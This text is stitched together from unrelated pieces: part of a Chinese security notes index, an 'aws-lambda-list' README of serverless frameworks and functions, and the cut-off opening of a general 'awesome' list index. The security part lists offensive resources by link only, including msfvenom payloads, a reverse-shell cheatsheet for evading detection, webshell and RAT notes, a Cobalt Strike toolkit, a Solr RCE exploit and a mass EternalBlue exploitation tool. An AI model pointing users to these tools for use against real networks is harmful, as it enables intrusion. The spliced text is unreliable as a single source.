* [Red - msfvenom - msf的payload生成器](sec_msfvenom.md)
* [Red - 反弹shell的各种方式(使用加密通信对抗检测)](sec_ReverseShellCheatsheet.md)
* [Red - webshell管理工具与检测方法](sec_webshell.md)
* [Red - Proxy tools 代理类工具](sec_proxy.md)
* [Red - 基础 - Windows远控](sec_RAT.md)
* [sec - 基础 - 字符与编码 格式转换](sec_encoder.md)
* [sec - 基础 - regex 正则表达式](sec_regex.md)
* [sec - 获取最新安全资讯的具体方式(RSS源 mail)](sec_get_news.md)
* [sec - 企业信息泄露源 监测(github等代码仓库) + 应急处置](sec_info_leak.md)
* [sec - 主机端口扫描 思路及自动化](host_sec_port_service_exp.md)
* [bin - pwn linux下的二进制程序pwn](bin_pwn.md)
* [bin - GDB调试 原理 命令](bin_GDB.md)
* [net - iptables 网络策略管理](net_iptables.md)
* [笔记 - Docker 命令](note_Docker.md)
* [笔记 - headless Chrome & Puppeteer](web_headless.md)
* [笔记 - Android应用安全](note_sec_android.md)
* [笔记 - blockchain - ETH 智能合约 基本概念](blockchain_SmartContracts.md)
* [笔记 - blockchain - 虚拟币挖矿的各种方式](blockchain_mining.md)
* [笔记 - 实现各系统的模拟操作](z_auto_operation.md)
#### 公开项目
|项目名称|属性|描述|
|:--:|--|---------|
|[1135-CobaltStrike-ToolKit](https://github.com/1135/1135-CobaltStrike-ToolKit)|/|Malleable C2 Files + AggressorScripts|
|[solr_exploit](https://github.com/1135/solr_exploit)|/|Apache Solr远程代码执行漏洞(CVE-2019-0193) Exploit 支持结果回显|
|[EquationExploit](https://github.com/1135/EquationExploit)|Java C++|在Windows下针对网段批量利用永恒之蓝漏洞(MS-17010 EternalBlue) |
|[VulSpiderX](https://github.com/1135/VulSpiderX)|node.js|后台持续运行，获取hackerone最新漏洞，发送邮件给安全人员|
|[VulSpider](https://github.com/1135/VulSpider)|python2|后台持续运行，获取最新漏洞及每日简报，发送邮件给安全人员|
|[dictionary](https://github.com/1135/dictionary)|txt|字典收集 包括user/name/pass/web|
#### Red-Team
|名称|描述|
|:-------------:|--|
|https://ired.team/| Red Teaming Experiments |
|https://attack.mitre.org/| ATT&CK™ 真实世界用到的、系统化的网络攻击技术|
|[blackhat-arsenal-tools](https://github.com/toolswatch/blackhat-arsenal-tools)|官方仓库 Black Hat Arsenal Security Tools Repository|
|[Red-Team-Infrastructure-Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki)|红队基础设施Wiki(构建稳定C2)|
|[infosecn1nja/Red-Teaming-Toolkit](https://github.com/infosecn1nja/Red-Teaming-Toolkit)|red team tools.(infosecn1nja是Empire的作者)|
|[infosecn1nja/AD-Attack-Defense](https://github.com/infosecn1nja/AD-Attack-Defense)|Active Directory Security For Red & Blue Team|
|[Awesome-Red-Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming)|List of Awesome Red Teaming Resources|
#### Awesome_and_cheat_sheets
|名称|描述|
|:---------:|-------|
|[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)|8k★ 持续更新的好资源 useful payloads and bypass for Web and Pentest|
|[Awesome-Hacking](https://github.com/Hack-with-Github/Awesome-Hacking)|Awesome-Hacking|
|[Awesome-Fuzzing](https://github.com/secfigo/Awesome-Fuzzing)|3k★ fuzzing resources ( Books, courses, videos, tools, tutorials, vulnerable applications).|
|[Awesome-Go](https://github.com/avelino/awesome-go)|37k★ Awesome-Go|
|[Awesome-cryptography](https://github.com/sobolevn/awesome-cryptography)|2k★ 密码学 |
|[Awesome-static-analysis](https://github.com/mre/awesome-static-analysis)|4k★ 各语言静态分析工具. Static analysis tools for all programming languages|
|[Awesome-pentest-cheat-sheets](https://github.com/coreb1t/awesome-pentest-cheat-sheets)|1k★ #pentesting |
|[Awesome-malware-analysis](https://github.com/rshipp/awesome-malware-analysis)|4k★ #流量分析 A curated list of awesome malware analysis tools and resources.|
|[the-book-of-secret-knowledge](https://github.com/trimstray/the-book-of-secret-knowledge)|34k★ A collection of inspiring lists, manuals, cheatsheets, hacks, one-liners and more.|
|
# aws-lambda-list
[](https://opensource.org/licenses/Apache-2.0)
[](https://travis-ci.org/unixorn/aws-lambda-list)
[](https://github.com/unixorn/aws-lambda-list/stargazers)
[](https://codeclimate.com/github/unixorn/aws-lambda-list)
[](https://codeclimate.com/github/unixorn/aws-lambda-list)
<!-- START doctoc generated TOC please keep comment here to allow auto update -->
<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
## Table of Contents
- [Frameworks](#frameworks)
- [apex](#apex)
- [brutus](#brutus)
- [chalice](#chalice)
- [dawson-cli](#dawson-cli)
- [Hexaville](#hexaville)
- [power-jambda](#power-jambda)
- [python-lambda](#python-lambda)
- [python-lambdarest](#python-lambdarest)
- [Pyverless](#pyverless)
- [Rumbda](#rumbda)
- [Serverless](#serverless)
- [Serverless Golang](#serverless-golang)
- [Up](#up)
- [Webda](#webda)
- [Zappa](#zappa)
- [Functions & Applications](#functions--applications)
- [Other Resources](#other-resources)
- [Miscellaneous](#miscellaneous)
- [Tutorials](#tutorials)
- [Utilities](#utilities)
<!-- END doctoc generated TOC please keep comment here to allow auto update -->
A list of AWS lambdas and lambda-related resources. Hopefully some are even useful.
Please note that there are no guarantees that the functions here are safe to run - you're going to have to test them yourself.
This list is under the [Apache 2.0 license](https://github.com/unixorn/aws-lambda-list/blob/master/LICENSE).
## Frameworks
### [apex](http://apex.run/)
Apex lets you use languages that are not natively supported by AWS Lambda, such as Golang, through the use of a Node.js shim injected into the build. A variety of workflow related tooling is provided for testing functions, rolling back deploys, viewing metrics, tailing logs, hooking into the build system and more.
### [brutus](https://github.com/milesgranger/brutus)
An HTTP/TCP Distributed Computing Framework in Python using Amazon Lambda functions.
This is a working prototype, still under development. Not suitable for anything other than exploring, making suggestions/issues.
### [chalice](https://github.com/aws/chalice)
Chalice is Amazon's python serverless microframework for AWS. It allows you to quickly create and deploy applications that use Amazon API Gateway and AWS Lambda.
### [colly](https://github.com/tmaslen/colly)
Another Javascript serverless framework for AWS Lambda and API Gateway.
### [dawson-cli](https://github.com/dawson-org/dawson-cli)
A serverless web framework for Node.js on AWS (CloudFormation, CloudFront, API Gateway, Lambda).
### [Hexaville](https://github.com/noppoMan/Hexaville)
Hexaville is a serverless framework for Swift using AWS Lambda + ApiGateway etc as a back end. Build applications in Swift comprised of microservices that run in response to events, automatically scale to meet demand, and only be charged for time actually spent running.
### [power-jambda](https://github.com/visionarts/power-jambda)
A Java serverless microframework for RESTful API that allows you to quickly develop applications that use Amazon API Gateway and AWS Lambda.
### [python-lambda](https://github.com/nficano/python-lambda)
A toolkit for developing and deploying serverless Python code in AWS Lambda. The Python-Lambda library takes away the guess work of developing your Python-Lambda services by providing you a toolset to streamline the annoying parts.
### [python-lambdarest](https://github.com/trustpilot/python-lambdarest)
Python routing mini-framework for AWS Lambda with optional JSON-schema validation.
Features:
* lambda_handler function constructor with built-in dispatcher
* Decorator to register functions to handle HTTP methods
* Optional JSON-schema input validation using same decorator
### [Pyverless](https://github.com/QuantumBA/pyverless)
Pyverless is a mini-framework with a bunch of utilities that aims to help you create APIs using AWS Lambdas fast and in a consistent way. Pyverless provides the following:
* Authentication handling
* Class-Based Handlers
* Configuration
* Exceptions
* JWT and cryptography
* Serializers
* Warmup handling
### [Rumbda](https://github.com/kleaver/rumbda)
Rumbda does everything necessary to build a zip file for running ruby inside of an AWS Lambda. This includes downloading [traveling ruby](https://github.com/phusion/traveling-ruby), creating a bundle of the project's Gemfile dependencies, and creating a consumable .zip file for use with Lambda.
### [Serverless](https://www.serverless.com)
Build web, mobile and IoT applications with serverless architectures using AWS Lambda, Azure Functions, Google CloudFunctions & more! Here is a list of [Serverless Examples](https://github.com/serverless/examples).
### [Serverless Golang](https://github.com/yunspace/serverless-golang)
AWS Lambda Go functions using Serverless Framework and a Python shim.
### [Sparta](http://gosparta.io/)
A Go framework for transforming a Go application into an AWS Lambda powered microservice. Supports multiple event sources, compile-time IAM policies, and automatic packaging and marshaling to CloudFormation.
### [Up](https://github.com/apex/up)
Up focuses on deploying "vanilla" HTTP servers so there's nothing new to learn, just develop with your favorite existing frameworks such as Express, Koa, Django, Golang net/http or others.
Up currently supports Node.js, Golang, Python, Java, Crystal, and static sites out of the box. Up is platform-agnostic, supporting AWS Lambda and API Gateway as the first targets. You can think of Up as self-hosted Heroku style user experience for a fraction of the price, with the security, flexibility, and scalability of AWS.
### [Webda](https://github.com/loopingz/webda)
A serverless Javascript Development Framework with AWS Lambda and Docker deployment options.
### [Zappa](https://github.com/Miserlou/Zappa)
Zappa makes it super easy to build and deploy server-less, event-driven Python applications (including, but not limited to, WSGI web apps) on AWS Lambda + API Gateway.
## Functions & Applications
This section is for both single functions and applications composed of multiple interconnected AWS lambda functions.
* [aws-key-disabler](https://github.com/te-papa/aws-key-disabler) - Lambda Function that disables AWS IAM User Access Keys after a set amount of time in order to reduce the risk associated with old access keys.
* [aws-lambda-blog-platform](https://github.com/sirceljm/aws-lambda-blog) - A complete blogging solution that uses the following Amazon Web Services for operation - API Gateway, Lambda, DynamoDB, S3, Cloudfront, SES.
* [aws-lambda-https-to-amqps](https://github.com/mikhaelsantos/aws-lambda-https-to-amqps) - Forwards amps messages from API Gateway to RabbitMQ.
* [aws-lambda-shell-execute](https://github.com/ken107/aws-lambda-shell-execute) - Executes a shell command and returns the output. Additional executable binaries can be deployed with and used by the function.
* [aws-maintenance-lambda (indix)](https://github.com/indix/aws-maintenance-lambda) - Send alerts (to Slack, HipChat) on AWS maintenance events.
* [aws-maintenance-lambda (traveloka)](https://github.com/traveloka/aws-maintenance-lambda) - Trigger Jira Issue Creation from AWS Health Events.
* [aws-monitor](https://github.com/zulily/aws_monitor) - Run periodically as an AWS Lambda, will detect your instances, add CloudWatch alerting for each, and create CloudWatch dashboards based on your preferences.
* [aws-ses-to-elasticsearch](https://github.com/ScheduleOnce/aws-ses-to-elasticsearch) - SES is capable of sending reports about email delivery (deliveries, bounces, rejects) to SNS. However, there's no built in way to pipe these reports into something like Elastic Search. This Lambda function bridges the gap and allows to send the reports to ES.
* [binaryalert](https://github.com/airbnb/binaryalert) - Serverless, Real-time & Retroactive Malware Detection.
* [BucketSnake](https://github.com/Netflix-Skunkworks/bucketsnake) - Provisions S3 access for IAM roles. A primary feature of Bucket Snake is to crete IAM roles that reside in the account where the S3 buckets live to facilitate proper cross-account S3 bucket access (via a role assumption).
* [chalice-transmogrify](https://github.com/uncompiled/chalice-transmogrify) - Python Microservice that transforms arbitrary XML/RSS to JSON.
* [chaos-lambda](https://github.com/shoreditch-ops/chaos-lambda) - A Serverless implementation of Netflix's [Chaos Monkey](https://github.com/Netflix/SimianArmy/wiki/Chaos-Monkey) for AWS (runs on AWS Lambda).
* [chef-node-cleanup](https://github.com/awslabs/lambda-chef-node-cleanup) - Automatically Delete Terminated Instances in Chef Server with AWS Lambda when triggered by CloudWatch instance termination events.
* [chromeless](https://github.com/lagleki/chromeless) - Chrome automation made simple. Runs locally or headless on AWS Lambda. See [https://chromeless.netlify.com](https://chromeless.netlify.com) for more details.
* [cloudwatch-logs-shipper-logzio-lambda](https://github.com/logzio/cloudwatch-logs-shipper-lambda) - Ships Cloudwatch Logs to [logz.io](logz.io).
* [cwlogs2sns](https://github.com/jakubknejzlik/cwlogs2sns) - AWS CloudWatch to SNS handler for AWS Lambda.
* [ddns-function](https://github.com/awslabs/aws-lambda-ddns-function) - Dynamically create Route 53 resource records using CloudWatch Events and AWS Lambda.
* [ebs_snapper](https://github.com/rackerlabs/ebs_snapper) - Allows you to schedule regular EBS snapshots and clean up EBS snapshots on EC2, as well as replicate snapshots to a secondary EC2 region.
* [ecs-host-service-scale](https://github.com/miketheman/ecs-host-service-scale) - Lambda function to ensure an ECS Service is set to the correct Desired Count for a One-Task-Per-Host placement value for any cluster that runs the Service.
* [felix](https://github.com/Cimpress-MCP/felix) - Automate the rotation of IAM keys used by third-party services. Felix is aimed at making it easy to manage IAM keys in third-party services like SumoLogic and GitLab. It aims to be easily extensible by both built-in providers and external plugins.
* [github-s3-deploy](https://github.com/nytlabs/github-s3-deploy) - AWS Lambda function, triggered by Github/SNS webhook, to sync new commits in an S3 bucket.
* [honeyλ](https://github.com/0x4D31/honeyLambda) - A simple, serverless application designed to create and monitor fake HTTP endpoints (i.e. URL honeytokens) automatically, on top of AWS Lambda and Amazon API Gateway.
* [houdini](https://github.com/citruspi/houdini) - Houdini runs on AWS Lambda and executes commands on remote hosts over SSH using [Paramiko](http://www.paramiko.org/). The host address, username, command, and private key name are provided by the consumer in the Lambda event, the command is executed, and the contents of stdin, stdout, and stderr are returned. The actual content of the private key used for establishing the SSH connection is encrypted with an [AWS KMS](https://aws.amazon.com/kms/) key and stored in [AWS SSM Parameter Store](https://aws.amazon.com/systems-manager/features/#Parameter_Store).
* [hugo-lambda](https://github.com/ryansb/hugo-lambda) - Use AWS Lambda to run the Hugo static site generator.
* [imprenta](https://github.com/alfredo/imprenta) - Generates PDF files from HTML using jinja, pdfkit and wkhtmltopdf.
* [invokust](https://github.com/FutureSharks/invokust) - A tool for running [Locust](http://locust.io/) load tests from within Python without the need to use the locust command line to allow running load tests in python or on AWS Lambda.
* [lambda-comments](https://github.com/jimpick/lambda-comments) - Blog commenting system built with AWS Lambda, API Gateway, S3, DynamoDB streams, IAM and CloudWatch Logs.
* [lambda-keystore](https://github.com/subdavis/lambda-keystore) - Simple key-value store with TTL for AWS Lambda using DynamoDB.
* [lambda-packs](https://github.com/ryfeus/lambda-packs) - Precompiled packages for Lambda.
* [lambdaproxy](https://github.com/dan-v/awslambdaproxy) - Lambda powered HTTP/SOCKS web proxy.
* [LambdAuth](https://github.com/danilop/LambdAuth) - Sample authentication service implemented with a server-less architecture, using AWS Lambda to host and execute the code and Amazon DynamoDB as persistent storage. This provides a cost-efficient solution that is scalable and highly available and can be used with Amazon Cognito for Developer Authenticated Identities.
* [letsencrypt](https://github.com/ubergeek42/lambda-letsencrypt) - Use [AWS Lambda](https://aws.amazon.com/lambda/) to manage SSL certificates for any site that uses [Amazon's CloudFront CDN](https://aws.amazon.com/cloudfront/).
* [MoonMail](https://github.com/microapps/MoonMail) - Sends email marketing campaigns with [Amazon SES](https://moonmail.io/amazon-ses-email-marketing/).
* [node-letsencrypt-lambda](https://github.com/ocelotconsulting/node-letsencrypt-lambda) - Use AWS Lambda to manage SSL certificates for Lets-Encrypt.
* [perf-cop](https://github.com/Quartz/perf-cop) - Profiles your site with PWMetrics and publishes the results as CloudWatch metrics.
* [pr-notify-bot](https://github.com/kentaro-m/lambda-pr-notify-bot) - Sends Slack reminders to CR reviewers to review their pull requests on AWS.
* [pricing-tools](https://github.com/concurrencylabs/aws-pricing-tools) - A Lambda function that calculates near real-time price of an account's infrastructure including EC2, ELB, EBS, RDS, Lambda, Dynamo DB and Kinesis resources.
* [rds_snapshot_copier](https://github.com/myoung34/DevOps/tree/master/aws/lambda/rds_snapshot_copier) - Copies automatic RDS snapshots so that they're safe from terraform.
* [reaper-lambda](https://github.com/gabinante/reaper-lambda) - Reaps any and all instances which are not tagged with an expiration date.
* [redshift_snapshot_copier](https://github.com/myoung34/DevOps/tree/master/aws/lambda/redshift_snapshot_copier) - Copies automatic redshift snapshots so that they're safe from terraform.
* [s3-file-copier](https://github.com/roberthelmick08/aws-lambda-s3-file-copier) - Lambda function that copies files from source S3 bucket to target bucket upon upload.
* [send-ses-email](https://github.com/eleven41/aws-lambda-send-ses-email) - Send emails using Amazon SES. The primary purpose of this function is to provide a server-side back-end for sending emails from static websites.
* [serverless-ami-replicator](https://github.com/miztiik/serverless-ami-replicator) - Replicate AMIs across AWS Regions.
* [serverless-backup](https://github.com/miztiik/serverless-backup) - A simple AWS Boto3 script to trigger EBS Snapshots using Lambda Functions.
* [serverless-ephemeral](https://github.com/Accenture/serverless-ephemeral) - Serverless Ephemeral (or Serephem) is a [Serverless Framework](https://serverless.com/framework/docs/providers/aws/guide/plugins/) plugin that helps bundle any stateless library into a Lambda deployment artifact.
* [serverless-plugin-healthcheck](https://github.com/Financial-Times/serverless-plugin-healthcheck) - Creates one schedule event lambda that invokes all the service lambdas you select in a configured time interval (default: 5 minutes) or a specific time, forcing your containers to report their status. In adition, it creates a new endpoint (named __health by default) which can be called to provide a json summary of the current status of each healthcheck.
* [serverless-plugin-stackstorm](https://github.com/StackStorm/serverless-plugin-stackstorm) - Plugin for serverless framework to run ready to use actions from [StackStorm Exchange](https://exchange.stackstorm.org) as AWS Lambda functions.
* [serverless-s3-processing](https://github.com/btsuhako/serverless-s3-processing) - Uses the [Serverless](https://serverless.com/) Framework and AWS Lambda to process objects and events from S3.
* [serverless-secrets](https://github.com/marksteele/serverless-secrets) - Sample serverless AWS Lambda application that leverages the AWS SSM parameter store for managing secrets.
* [serverless-url-shortener](https://github.com/danielireson/serverless-url-shortener) - URL shortener for AWS Lambda and S3.
* [SES Email Forwarder](https://github.com/arithmetric/aws-lambda-ses-forwarder) - Node.js script for AWS Lambda that uses the inbound/outbound capabilities of AWS Simple Email Service (SES) to run a "serverless" email forwarding service. Instead of setting up an email server on an EC2 instance to handle email redirects, use SES to receive email, and the included Lambda script to process it and send it on to the chosen destination.
* [ses-forwarder](https://github.com/Technofy/ses-forwarder) - A Python 2.7 Email forwarder script for AWS Lambda, which uses the AWS SES and S3 services.
* [Shelvery](https://github.com/base2Services/shelvery) - Shelvery is a tool for creating backups in Amazon cloud (AWS). It currently supports RDS and EBS backups, and AMI support is scheduled to be released soon.
* [sns2slack](https://github.com/jakubknejzlik/sns2slack) - AWS SNS to slack notifications handler for AWS Lambda.
* [splunk-aws-serverless-apps](https://github.com/splunk/splunk-aws-serverless-apps) - Splunk AWS Serverless applications and [Lambda blueprints](https://www.splunk.com/blog/2016/11/29/announcing-new-aws-lambda-blueprints-for-splunk.html), including associated CloudFormation templates (using [SAM](https://github.com/awslabs/serverless-application-model)) for automated packaging & deployment.
* [StreamAlert](https://github.com/airbnb/streamalert) - StreamAlert is a serverless, realtime data analysis framework which empowers you to ingest, analyze, and alert on data from any environment, using datasources and alerting logic you define.
* [sumologic-aws-lambda-unzip](https://github.com/frankreno/sumologic-aws-lambda-unzip) - Java Lambda function that can uncompress a zip file, read the files inside and send them to Sumo Logic.
* [url-shortener](https://github.com/guihaojin/url-shortener) - URL Shortener service built with serverless framework on AWS, API Gateway + Lambda + DynamoDB.
* [werdino-lambda](https://github.com/dariopog/werdino-lambda) - AWS Lambda function for the [Werdino](https://github.com/dariopog/werdino-webhook) webhook.
## Other Resources
### Miscellaneous
* [aws-lambda-cheatsheet](https://github.com/srcecde/aws-lambda-cheatsheet) - A cheatsheet for AWS Lambda (focuses on Python)
### Tutorials
* [AWS IOT Button Example](https://github.com/mongoose-os-apps/aws-iot-button) - This is an Internet Button reference project: when a button on the device is pressed, a cloud backend gets a notification and performs an action. In this particular case, AWS Lambda function sends an email to the specific email address.
* [aws-lambda-vpc-nat-examples](https://github.com/ittus/aws-lambda-vpc-nat-examples) - Example of setting up AWS lambda function with VPC and NAT.
* [How to Use Python 3 Type Hints in AWS Lambda](https://gist.github.com/alexcasalboni/a545b68ee164b165a74a20a5fee9d133) - Static Type Checkers help you find simple (but subtle) bugs in your Python code. Check out lambda_types.py and incrementally improve your code base and development/debugging experience with type hints.
* [Lambda Tutorial: Lambda + Serverless = HAPPY](https://www.youtube.com/watch?v=71cd5XerKss)
* [Learning Lambda](https://blog.symphonia.io/learning-lambda-1f25af64161c) - Mike Roberts' series on learning to use Lambda
* [Nightmare-lambda-tutorial](https://github.com/dimkir/nightmare-lambda-tutorial) - A sample project and tutorial to show how to run NightmareJS on AWS Lambda.
### Utilities
* [api-gateway-sim](https://github.com/elitechance/api-gateway-sim) - API Gateway simulator for Node JS Lambda that allows you to test your Lambda function locally.
* [aws-lambda-dotnet](https://github.com/aws/aws-lambda-dotnet) - Libraries, samples and tools to help .NET Core developers develop AWS Lambda functions.
* [aws-lambda-runner](https://github.com/kevinsimard/aws-lambda-runner) - An AWS Lambda Java simulator that allows running and debugging Lambda functions authored in Java locally.
* [aws-sam-local](https://github.com/awslabs/aws-sam-local) - `sam` is the AWS CLI tool for managing Serverless applications written with [AWS Serverless Application Model (SAM)](https://github.com/awslabs/serverless-application-model). SAM Local can be used to test functions locally, start a local API Gateway from a SAM template, validate a SAM template, and generate sample payloads for various event sources.
* [claudia](https://github.com/claudiajs/claudia) - Claudia makes it easy to deploy Node.js projects to AWS Lambda and API Gateway. It automates all the error-prone deployment and configuration tasks, and sets everything up the way JavaScript developers expect out of the box. This means that you can get started with Lambda and API Gateway easily, and focus on solving important business problems instead of dealing with AWS deployment workflows.
* [cljs-lambda](https://github.com/nervous-systems/cljs-lambda) - Utilities around deploying Clojurescript functions to AWS Lambda.
* [dd-aws-lambda-functions](https://github.com/DataDog/dd-aws-lambda-functions) - Repository of lambda functions that process aws log streams and send data to datadog
* [django-docker-zappa-boilerplate](https://github.com/alexazevedo/django-docker-zappa-boilerplate) - Template for settting up serverless Django with Zappa, Docker, MySQL and Nginx for local development and remote deployment to AWS Lambda / API Gateway.
* [docker-lambda-python36-rust](https://github.com/ElementAI/docker-lambda-python36-rust) - Docker image that builds Rust applications serverless for AWS Lambda.
* [docker-lambda](https://github.com/lambci/docker-lambda) - Docker images and test runners that replicate the live AWS Lambda environment
* [formplug-serverless](https://github.com/danielireson/formplug-serverless) - A form forwarding service for AWS Lambda that you can use to accept form submissions by email without server-side code.
* [goad](https://github.com/goadapp/goad) - An AWS Lambda powered, highly distributed, load testing tool built in Go.
* [iopipe](https://github.com/iopipe/iopipe) - AWS Lambda metrics, tracing, & analytics for NodeJS. See [www.iopipe.com](https://www.iopipe.com/) for details.
* [iopipe-python](https://github.com/iopipe/iopipe-python) - This package provides analytics and distributed tracing for event-driven applications running on AWS Lambda.
* [iron-io/lambda](https://github.com/iron-io/lambda) - A set of tools, tests and libraries to convert Amazon AWS Lambda functions into Docker images that can run on any computer or cloud provider.
* [jiffy-route-builder](https://github.com/jiffycloud/jiffy-route-builder) - A tiny module (<5KB) to create lightweight API handlers using Node.js with AWS Lambda and API Gateway. Uses another tiny (<2KB) library called [route-recognizer](https://github.com/tildeio/route-recognizer) to match URLs against routing patterns, and forwards requests to handler functions. Written in TypeScript so you have type information available - especially useful to figure out what's available in the request that API Gateway sends to your handler.
* [lambda-deployer](https://github.com/mdevilliers/lambda-deployer) - Automate the deployment of AWS Lambda functions easily from either a developers machine or CI system.
* [lambda-packager](https://github.com/lorenzoh/lambda-packager) - Uses the amazonlinux Docker image to build Python packages for AWS Lambda.
* [lambda-packages](https://github.com/Miserlou/lambda-packages) - Various popular python libraries, pre-compiled to be compatible with AWS Lambda. The best way to use these packages is with [Zappa](https://github.com/Miserlou/Zappa), which will automatically install the right packages during deployment, and do a million other useful things [https://blog.zappa.io](https://blog.zappa.io).
* [lambda-tdd](https://github.com/simlu/lambda-tdd) - A testing framework for AWS Lambda functions. Useful for integration testing as you can examine how your lambda function executes for certain input and specific environment variables. Tries to model the cloud execution as closely as possible
* [lambda-tester](https://github.com/vandium-io/lambda-tester) - Helper for unit testing AWS Lambda functions using Node.js
* [lambda_utils](https://github.com/CloudHeads/lambda_utils) - Python helper decorator for handling different AWS Event types for AWS Lambda.
* [lambdaSH](https://github.com/alestic/lambdash) - Run shell commands inside AWS Lambda environment
* [lambdaskill](https://github.com/michaeluhl/lambdaskill) - A simple Python 3 toolkit to build Alexa Skills using AWS Lambda.
* [lambdaWrap](https://github.com/Cimpress-MCP/LambdaWrap) - Ruby gem to simplify deployment of AWS Lambda based web services.
* [python-vendor](https://github.com/joshringer/python-vendor) - Provides an AWS service API for building compiled Python packages, ready for use in your own AWS Lambda functions.
* [simple-lambda-mailer](https://github.com/hendrickson02/simple-lambda-mailer) - A simple mailer that you can use in a web blog and call via an API.
* [simple-lambda-router](https://github.com/brunomorency/simple-lambda-router) - A small router utility for lambda functions handling HTTP events from multiple resources and methods.
* [webpack-aws-lambda-upload-plugin](https://github.com/sirceljm/webpack-aws-lambda-upload-plugin) - Zip and upload your AWS Lambda function directly from webpack.
|
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<p>
<sup>
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<sub>They <a href="https://github.com/botpress/botpress/blob/master/.github/CONTRIBUTING.md">welcome contributions</a> from anyone, whether you're into machine learning,<br>want to get started in open-source, or just have an improvement idea.</sub>
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<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
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</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
---
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---
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
